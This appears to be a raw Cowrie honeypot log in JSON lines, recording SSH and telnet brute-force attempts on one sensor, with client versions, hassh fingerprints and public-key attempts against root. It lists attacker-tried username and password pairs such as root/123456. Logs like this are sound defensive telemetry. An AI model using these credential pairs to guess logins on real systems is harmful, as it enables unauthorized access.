{"eventid":"cowrie.login.failed","username":"hedera","password":"hedera123","message":"login attempt [hedera/hedera123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:53:01.142976Z","src_ip":"85.215.121.209","session":"0a1f6edc94b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zalee\t","password":"za\t","message":"login attempt [zalee\t/za\t] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:53:01.395270Z","src_ip":"222.99.31.54","session":"23161fa8326e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:53:02.235441Z","src_ip":"85.215.121.209","session":"0a1f6edc94b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"132.148.155.138","src_port":42546,"dst_ip":"159.203.135.109","dst_port":22,"session":"ff8671b43f11","protocol":"ssh","message":"New connection: 132.148.155.138:42546 (159.203.135.109:22) [session: ff8671b43f11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:53:09.881963Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:53:09.885923Z","src_ip":"132.148.155.138","session":"ff8671b43f11","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:53:09.954789Z","src_ip":"132.148.155.138","session":"ff8671b43f11","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin%$#@!&*()!@","message":"login attempt [root/admin%$#@!&*()!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:53:10.155171Z","src_ip":"132.148.155.138","session":"ff8671b43f11","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:53:11.222707Z","src_ip":"132.148.155.138","session":"ff8671b43f11","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":72.34782862663269,"message":"Connection lost after 72 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:53:26.868046Z","src_ip":"137.184.5.188","session":"be9104a656c3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.81253170967102,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:53:32.554888Z","src_ip":"222.99.31.54","session":"23161fa8326e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"222.99.31.54","src_port":59165,"dst_ip":"159.203.135.109","dst_port":23,"session":"68b27f11081f","protocol":"telnet","message":"New connection: 222.99.31.54:59165 (159.203.135.109:23) [session: 68b27f11081f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:53:32.751240Z"}
{"eventid":"cowrie.login.failed","username":"support","password":"support","message":"login attempt [support/support] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:53:33.601983Z","src_ip":"222.99.31.54","session":"68b27f11081f","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"lghkel\t","password":"zpz}ld\t","message":"login attempt [lghkel\t/zpz}ld\t] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:53:34.498572Z","src_ip":"222.99.31.54","session":"68b27f11081f","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"zalee\t","password":"za\t","message":"login attempt [zalee\t/za\t] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:53:35.394560Z","src_ip":"222.99.31.54","session":"68b27f11081f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.156.185.61","src_port":61912,"dst_ip":"10.17.0.5","dst_port":22,"session":"bf5eec00db36","protocol":"ssh","message":"New connection: 87.156.185.61:61912 (10.17.0.5:22) [session: bf5eec00db36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:53:37.497087Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:53:37.500298Z","src_ip":"87.156.185.61","session":"bf5eec00db36","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:53:37.610993Z","src_ip":"87.156.185.61","session":"bf5eec00db36","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssword01!","message":"login attempt [root/P@ssword01!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:53:39.748637Z","src_ip":"87.156.185.61","session":"bf5eec00db36","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:53:40.860002Z","src_ip":"87.156.185.61","session":"bf5eec00db36","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.119.203","src_port":60270,"dst_ip":"10.17.0.5","dst_port":22,"session":"d6966c90545d","protocol":"ssh","message":"New connection: 101.36.119.203:60270 (10.17.0.5:22) [session: d6966c90545d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:53:54.724084Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:53:54.727122Z","src_ip":"101.36.119.203","session":"d6966c90545d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:53:54.942949Z","src_ip":"101.36.119.203","session":"d6966c90545d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwerty1234","message":"login attempt [root/Qwerty1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:53:55.841964Z","src_ip":"101.36.119.203","session":"d6966c90545d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:53:57.061231Z","src_ip":"101.36.119.203","session":"d6966c90545d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.234","src_port":39436,"dst_ip":"10.17.0.5","dst_port":22,"session":"08f1834b1e62","protocol":"ssh","message":"New connection: 80.94.92.234:39436 (10.17.0.5:22) [session: 08f1834b1e62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:54:05.298104Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:54:05.350785Z","src_ip":"80.94.92.234","session":"08f1834b1e62","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:54:05.409511Z","src_ip":"80.94.92.234","session":"08f1834b1e62","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456","message":"login attempt [root/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:54:05.815104Z","src_ip":"80.94.92.234","session":"08f1834b1e62","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.80181932449341,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:54:06.552955Z","src_ip":"222.99.31.54","session":"68b27f11081f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"222.99.31.54","src_port":59900,"dst_ip":"159.203.135.109","dst_port":23,"session":"510921f50a8a","protocol":"telnet","message":"New connection: 222.99.31.54:59900 (159.203.135.109:23) [session: 510921f50a8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:54:06.758327Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:54:06.963389Z","src_ip":"80.94.92.234","session":"08f1834b1e62","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"b'\\xcd\\xcb\\xce\\xce\\xd1\\xcc\\xca'","password":"b'\\xcd\\xcb\\xce\\xce\\xd1\\xcc\\xca'","message":"login attempt [b'\\xcd\\xcb\\xce\\xce\\xd1\\xcc\\xca'/b'\\xcd\\xcb\\xce\\xce\\xd1\\xcc\\xca'] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:54:07.635089Z","src_ip":"222.99.31.54","session":"510921f50a8a","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"lghkel\t","password":"zpz}ld\t","message":"login attempt [lghkel\t/zpz}ld\t] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:54:08.575237Z","src_ip":"222.99.31.54","session":"510921f50a8a","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"zalee\t","password":"za\t","message":"login attempt [zalee\t/za\t] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:54:09.503460Z","src_ip":"222.99.31.54","session":"510921f50a8a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"179.61.232.244","src_port":34460,"dst_ip":"10.17.0.5","dst_port":22,"session":"cecc0c351edd","protocol":"ssh","message":"New connection: 179.61.232.244:34460 (10.17.0.5:22) [session: cecc0c351edd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:54:33.633519Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:54:33.637821Z","src_ip":"179.61.232.244","session":"cecc0c351edd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:54:33.664500Z","src_ip":"179.61.232.244","session":"cecc0c351edd","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"83:1d:c7:9c:26:70:67:b7:c8:37:dd:50:ae:af:3c:54","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA0WgiAUNIuXwI2SHg6paAWE3LVhSs6AYCpCASmksj8Nlu2nCUuTsIIL7M9bCcNDj1sXlFrmupJYf6va5fTj+HigAj/uq1QW5RcHHHvxqJdxqv8H6gbujjUPjgqF88e33YUypCuwtzoz8naWARhgmxzaP36DpPw5RVA3PnCyrghz6pS0EFUNObEys/v2REjb/wZFbZX4u9RsEHTI2Qkh/gNPQcmqDwN0XORucCHdk785/TQ9M45jFF/WshUi7lytYpxBZ0Ysp41DS40VHDyDQt1Ib+KeF4nlkzjZM/SCdC8w8onZFyAwWM1CZzVwBq5Teq+QvTSIkYI/KkULnQW3V51Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 83:1d:c7:9c:26:70:67:b7:c8:37:dd:50:ae:af:3c:54","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:54:33.779920Z","src_ip":"179.61.232.244","session":"cecc0c351edd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"83:1d:c7:9c:26:70:67:b7:c8:37:dd:50:ae:af:3c:54","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA0WgiAUNIuXwI2SHg6paAWE3LVhSs6AYCpCASmksj8Nlu2nCUuTsIIL7M9bCcNDj1sXlFrmupJYf6va5fTj+HigAj/uq1QW5RcHHHvxqJdxqv8H6gbujjUPjgqF88e33YUypCuwtzoz8naWARhgmxzaP36DpPw5RVA3PnCyrghz6pS0EFUNObEys/v2REjb/wZFbZX4u9RsEHTI2Qkh/gNPQcmqDwN0XORucCHdk785/TQ9M45jFF/WshUi7lytYpxBZ0Ysp41DS40VHDyDQt1Ib+KeF4nlkzjZM/SCdC8w8onZFyAwWM1CZzVwBq5Teq+QvTSIkYI/KkULnQW3V51Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:54:33.782658Z","src_ip":"179.61.232.244","session":"cecc0c351edd","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"05:1d:7c:0a:ac:dd:0f:14:dd:48:cb:ff:a3:8d:ad:80","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCmkzotd+2d+JEgkeW0NkjVhXo54eFMw82dGnTXZjcX/6NtZqfZQdhMGH/7CCD/AHNCQdvn1sL4Bzlh+UJeXGkZqdqCgVvktGZaWUpLXnVsicIswREF8YLHXORdgEJJjoalM+wsF1UlGdHBdDOyl+mLl+/8/CwxWbh59WniFSAWuBej0G10IhAqT/5+y0QfKaV4d8UVEiMDG/+PyIwYXNo46PUUIRsSia7/XVK7xI6fYnxa39tChFXk7AO4mMF1jlqYpXFLFM72v/d+M3kq2GdpG/abBj7lNqzCxwpWB/XtihsU8gk5JfdfMcl3XTdhksDuKZ/hVHMetGafnKLNy6XZ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 05:1d:7c:0a:ac:dd:0f:14:dd:48:cb:ff:a3:8d:ad:80","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:54:33.810036Z","src_ip":"179.61.232.244","session":"cecc0c351edd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"05:1d:7c:0a:ac:dd:0f:14:dd:48:cb:ff:a3:8d:ad:80","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCmkzotd+2d+JEgkeW0NkjVhXo54eFMw82dGnTXZjcX/6NtZqfZQdhMGH/7CCD/AHNCQdvn1sL4Bzlh+UJeXGkZqdqCgVvktGZaWUpLXnVsicIswREF8YLHXORdgEJJjoalM+wsF1UlGdHBdDOyl+mLl+/8/CwxWbh59WniFSAWuBej0G10IhAqT/5+y0QfKaV4d8UVEiMDG/+PyIwYXNo46PUUIRsSia7/XVK7xI6fYnxa39tChFXk7AO4mMF1jlqYpXFLFM72v/d+M3kq2GdpG/abBj7lNqzCxwpWB/XtihsU8gk5JfdfMcl3XTdhksDuKZ/hVHMetGafnKLNy6XZ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:54:33.812909Z","src_ip":"179.61.232.244","session":"cecc0c351edd","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a2:79:01:99:ce:36:c9:aa:5c:0d:e9:15:60:46:f8:fd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC2FxfDyRk4l32EWw38Cd1G5r0rIYssoFNGbZhTYxFUIuQtYOmDVHGfkcOTmftfmhPsZoZFbH31Shl5yeqpN/GVifi9ywJOhjjwji433Hw27coq9rfVRGmTQvtihtyCIy8W0O3K9F2mU1nKWSwJF+zIgpKeZY9RJJ5UaWLoWoHdSaUrPWs4sc4qo0x1Trp78tm5lNAxW+yPvrlr2v7IZRxrQWSs9up+FxY2qaEMHPORre915NLSbwsTVvjz6b31mtZCg5BxBFIsAIaLTMzYQRIRipWrfYCQ4DHxof3P3LT6vFrzPu8edCJ2SAebqz0UULDBlkTYa47hx0gr6bU5ObVolD+Bwvh1ydwDAzp6EmuF3cUbTIZBn3t0WjkJqfVmYUf16aqsAMfHclbmBQNHAFJD33kqacm7wKHKPZOZ2VDBHVTNE/cbvYTBZIHx6EflibLRylv7gAl4UdLVxFPQanC+Fhm8wwuUzMSt6Esc65XNNXmTpD2wPFfNMPRBytc8FAxJ6nxlZY46iSKALRu/08RrVwrxNXUN03e2hJ8WPiZwJDtmcT4/RSJ5RqZLDpTVsD9W97BLbQ2twDvRbfDjgUz8l8II81Qg9juerZCxt+bmPlM+1Pviu+KvPbxkJorDq+znWJsVVAyJsBPnGg+XEfQ3AqOF2tARx9ffIPo9MA7nhw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a2:79:01:99:ce:36:c9:aa:5c:0d:e9:15:60:46:f8:fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:54:33.840581Z","src_ip":"179.61.232.244","session":"cecc0c351edd","protocol":"ssh"}
